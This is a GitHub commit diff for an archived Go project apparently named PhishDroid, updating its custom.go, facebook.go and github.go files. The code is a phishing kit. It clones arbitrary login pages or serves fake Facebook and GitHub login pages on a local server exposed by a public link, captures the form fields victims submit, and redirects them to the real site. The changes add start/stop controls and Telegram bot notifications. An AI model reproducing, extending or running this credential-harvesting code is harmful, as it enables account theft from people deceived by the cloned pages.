Skip to content
This repository was archived by the owner on Jan 16, 2022. It is now read-only.

Commit 279aeca

Browse files
committed
v 0.3
1 parent de3f1b6 commit 279aeca

File tree

15 files changed

+1122
-874
lines changed

15 files changed

+1122
-874
lines changed

cisim.png

-170 KB
Binary file not shown.

custom.go

Lines changed: 100 additions & 30 deletions
Original file line numberDiff line numberDiff line change
@@ -1,13 +1,18 @@
11
package main
22

33
import (
4+
"context"
45
"fmt"
6+
"io"
57
"log"
68
"net/http"
9+
"net/url"
10+
"runtime"
711
"strings"
812

913
"fyne.io/fyne"
1014
"fyne.io/fyne/dialog"
15+
"fyne.io/fyne/theme"
1116
"fyne.io/fyne/widget"
1217

1318
"github.com/PuerkitoBio/goquery"
@@ -17,45 +22,35 @@ import (
1722

1823
var notiApp fyne.App
1924

20-
func customHTMLwithHTTP(url, serverLink string) map[string]interface{} {
21-
httpMap := map[string]interface{}{}
25+
func httpForCustumHTML(url string) (*http.Response, error) {
2226
request, err := http.NewRequest("GET", url, nil)
2327
if errHandler.HandlerBool(err) {
24-
httpMap["error"] = err
25-
return httpMap
28+
return nil, err
2629
}
2730
request.Header.Add("User-Agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36")
2831
client := http.Client{}
29-
response, err := client.Do(request)
30-
if errHandler.HandlerBool(err) {
31-
httpMap["error"] = err
32-
return httpMap
33-
}
32+
return client.Do(request)
33+
}
34+
35+
func customHTMLwithHTTP(reader io.Reader, url, serverLink string) map[string]interface{} {
36+
37+
httpMap := map[string]interface{}{}
3438

3539
var scripts int
3640
var inputValues []string
3741

38-
doc, err := goquery.NewDocumentFromResponse(response)
39-
if errHandler.HandlerBool(err) {
40-
httpMap["error"] = err
41-
return httpMap
42-
}
43-
//doc.Append(fmt.Sprintf(`<base href="%s">`, url))
44-
doc.AppendHtml(fmt.Sprintf(`<base href="%s">`, url))
42+
doc, err := goquery.NewDocumentFromReader(reader)
4543

4644
doc.Find("script").Each(func(index int, script *goquery.Selection) {
4745
log.Println("<script> : ", index)
4846
scripts++
4947
})
5048

51-
//inputValues := make([]string, 0)
52-
5349
doc.Find("input").Each(func(index int, s *goquery.Selection) {
5450
if name, ok := s.Attr("name"); ok {
5551
log.Println(index, name)
5652
inputValues = append(inputValues, name)
5753
}
58-
5954
})
6055

6156
doc.Find("form").Each(func(index int, f *goquery.Selection) {
@@ -69,21 +64,26 @@ func customHTMLwithHTTP(url, serverLink string) map[string]interface{} {
6964

7065
httpMap["scripts"] = scripts
7166
httpMap["values"] = inputValues
72-
httpMap["html"] = html
67+
if url != "" {
68+
httpMap["html"] = fmt.Sprintf(`<base href="%s">`, url) + "\n" + html
69+
} else {
70+
httpMap["html"] = html
71+
}
7372

7473
return httpMap
7574

7675
}
7776

78-
func customHTMLServer(win fyne.Window, textGrid *widget.TextGrid, html, redirectURL string, textStream *string) {
77+
func customHTMLServer(kapat chan bool, win fyne.Window, textGrid *widget.TextGrid, html, redirectURL string, textStream *string) {
7978
serve := func(response http.ResponseWriter, request *http.Request) {
79+
response.Header().Set("Content-Type", "text/html; charset=UTF-8")
8080
*textStream += "New Request\n"
8181
textGrid.SetText(*textStream)
8282
fmt.Fprintln(response, html)
8383
return
8484
}
8585
serveLogin := func(response http.ResponseWriter, request *http.Request) {
86-
86+
response.Header().Set("Content-Type", "text/html; charset=UTF-8")
8787
request.ParseForm()
8888
valueStr := request.Form.Encode()
8989
for _, eleman := range strings.Split(valueStr, "&") {
@@ -98,22 +98,92 @@ func customHTMLServer(win fyne.Window, textGrid *widget.TextGrid, html, redirect
9898
http.Redirect(response, request, redirectURL, 301)
9999
}
100100

101-
http.HandleFunc("/", serve)
102-
http.HandleFunc("/login", serveLogin)
101+
/*
102+
http.HandleFunc("/", serve)
103+
http.HandleFunc("/login", serveLogin)
103104
104-
err := http.ListenAndServe(":8089", nil)
105-
if err != nil {
106-
dialog.ShowError(err, win)
105+
err := http.ListenAndServe(":8089", nil)
106+
if err != nil {
107+
dialog.ShowError(err, win)
108+
109+
}
110+
*/
111+
112+
m := http.NewServeMux()
113+
s := http.Server{Addr: ":8089", Handler: m}
114+
m.HandleFunc("/", serve)
115+
m.HandleFunc("/login", serveLogin)
116+
117+
go func() {
118+
<-kapat
119+
s.Shutdown(context.Background())
120+
fmt.Println("Server Shutdown")
107121

122+
}()
123+
124+
if err := s.ListenAndServe(); errHandler.HandlerBool(err) {
125+
if useTelegramBot {
126+
tg.send(err.Error())
127+
}
128+
dialog.ShowError(err, win)
108129
}
109130

110131
}
111132

112-
func makeCustomWindow(win fyne.Window, html, serverURL, redirectURL string) {
133+
func makeCustomWindow(win fyne.Window, uyg fyne.App, html, serverURL, redirectURL string) {
134+
135+
var stopBool = false
136+
stopChan := make(chan bool)
113137
var str string
138+
139+
back := widget.NewButtonWithIcon("Back", theme.NavigateBackIcon(), func() {
140+
gui(uyg, win)
141+
})
142+
114143
ngrokText := widget.NewTextGridFromString(serverURL)
115144
panel := widget.NewTextGrid()
116-
group := widget.NewGroupWithScroller("PhishDroid Custom", ngrokText, cizgi, space, panel)
145+
var runStopButton *widget.Button
146+
runStopButton = widget.NewButtonWithIcon("Run", theme.MediaPlayIcon(), func() {
147+
if stopBool {
148+
stopChan <- true
149+
stopBool = false
150+
back.Enable()
151+
152+
runStopButton.SetText("Run")
153+
runStopButton.SetIcon(theme.MediaPlayIcon())
154+
155+
runtime.GC()
156+
return
157+
}
158+
159+
//go fonksiyon(stopChan, win, textGrid, &textStream)
160+
/*ngrokurl, err := getNgrokLinkStable()
161+
if err != nil {
162+
dialog.ShowError(err, win)
163+
return
164+
}*/
165+
166+
ngrokurl := serverURL
167+
ngrokText.SetText(ngrokurl)
168+
169+
urlNgrok, err := url.Parse(ngrokurl)
170+
if err != nil {
171+
dialog.ShowError(err, win)
172+
}
173+
174+
go customHTMLServer(stopChan, win, panel, html, redirectURL, &str)
175+
go uyg.OpenURL(urlNgrok)
176+
stopBool = true
177+
runStopButton.SetText("Stop")
178+
runStopButton.SetIcon(theme.MediaPauseIcon())
179+
back.Disable()
180+
runtime.GC()
181+
182+
})
183+
184+
group := widget.NewGroupWithScroller("PhishDroid Custom", ngrokText, cizgi, runStopButton, back, space, panel)
117185
win.SetContent(group)
118-
customHTMLServer(win, panel, html, redirectURL, &str)
186+
119187
}
188+
189+
// Farkındayım çorba oldu...

facebook.go

Lines changed: 26 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,12 +1,16 @@
11
package main
22

33
import (
4+
"context"
45
"fmt"
56
"net/http"
67
"regexp"
78
"strings"
89

10+
"github.com/raifpy/Go/errHandler"
11+
912
"fyne.io/fyne"
13+
"fyne.io/fyne/dialog"
1014
"fyne.io/fyne/widget"
1115
)
1216

@@ -23,8 +27,8 @@ func isEmailValid(e string) bool {
2327

2428
//
2529

26-
func serveFacebookLogin(win fyne.Window, textGrid *widget.TextGrid, textStream *string) {
27-
serverFunc := func(response http.ResponseWriter, request *http.Request) {
30+
func serveFacebookLogin(kapat chan bool, win fyne.Window, textGrid *widget.TextGrid, textStream *string) {
31+
serveFunc := func(response http.ResponseWriter, request *http.Request) {
2832
fmt.Fprintln(response, faceLoginHTML)
2933
}
3034
serveFuncLogin := func(response http.ResponseWriter, request *http.Request) {
@@ -47,8 +51,26 @@ func serveFacebookLogin(win fyne.Window, textGrid *widget.TextGrid, textStream *
4751
textGrid.SetText(*textStream)
4852
http.Redirect(response, request, "https://facebook.com", 301)
4953
}
50-
http.HandleFunc("/", serverFunc)
54+
55+
m := http.NewServeMux()
56+
s := http.Server{Addr: ":8089", Handler: m}
57+
m.HandleFunc("/", serveFunc)
5158
http.HandleFunc("/login", serveFuncLogin)
52-
http.ListenAndServe(":8089", nil)
59+
60+
go func() {
61+
<-kapat
62+
s.Shutdown(context.Background())
63+
64+
}()
65+
if err := s.ListenAndServe(); errHandler.HandlerBool(err) {
66+
if useTelegramBot {
67+
tg.send(err.Error())
68+
}
69+
dialog.ShowError(err, win)
70+
}
71+
72+
//http.HandleFunc("/", serverFunc)
73+
74+
//http.ListenAndServe(":8089", nil)
5375

5476
}

fes.png

-22.9 KB
Binary file not shown.

github.go

Lines changed: 22 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,7 @@
11
package main
22

33
import (
4+
"context"
45
"fmt"
56
"log"
67
"net/http"
@@ -11,7 +12,7 @@ import (
1112
"github.com/raifpy/Go/errHandler"
1213
)
1314

14-
func serveGithubLogin(win fyne.Window, textGrid *widget.TextGrid, textStream *string) {
15+
func serveGithubLogin(kapat chan bool, win fyne.Window, textGrid *widget.TextGrid, textStream *string) {
1516
serveFunc := func(response http.ResponseWriter, req *http.Request) {
1617
log.Println("Requests -> ", req.Form.Encode())
1718
//query := req.URL.Query()
@@ -44,7 +45,24 @@ func serveGithubLogin(win fyne.Window, textGrid *widget.TextGrid, textStream *st
4445
fmt.Fprintln(response, githubLogin)
4546
return
4647
}
47-
http.HandleFunc("/", serveFunc)
48-
err := http.ListenAndServe(":8089", nil)
49-
dialog.ShowError(err, win)
48+
49+
//http.HandleFunc("/", serveFunc)
50+
51+
m := http.NewServeMux()
52+
s := http.Server{Addr: ":8089", Handler: m}
53+
m.HandleFunc("/", serveFunc)
54+
55+
go func() {
56+
<-kapat
57+
s.Shutdown(context.Background())
58+
fmt.Println("Server Shutdown")
59+
60+
}()
61+
62+
if err := s.ListenAndServe(); errHandler.HandlerBool(err) {
63+
if useTelegramBot {
64+
tg.send(err.Error())
65+
}
66+
dialog.ShowError(err, win)
67+
}
5068
}

0 commit comments

Comments
 (0)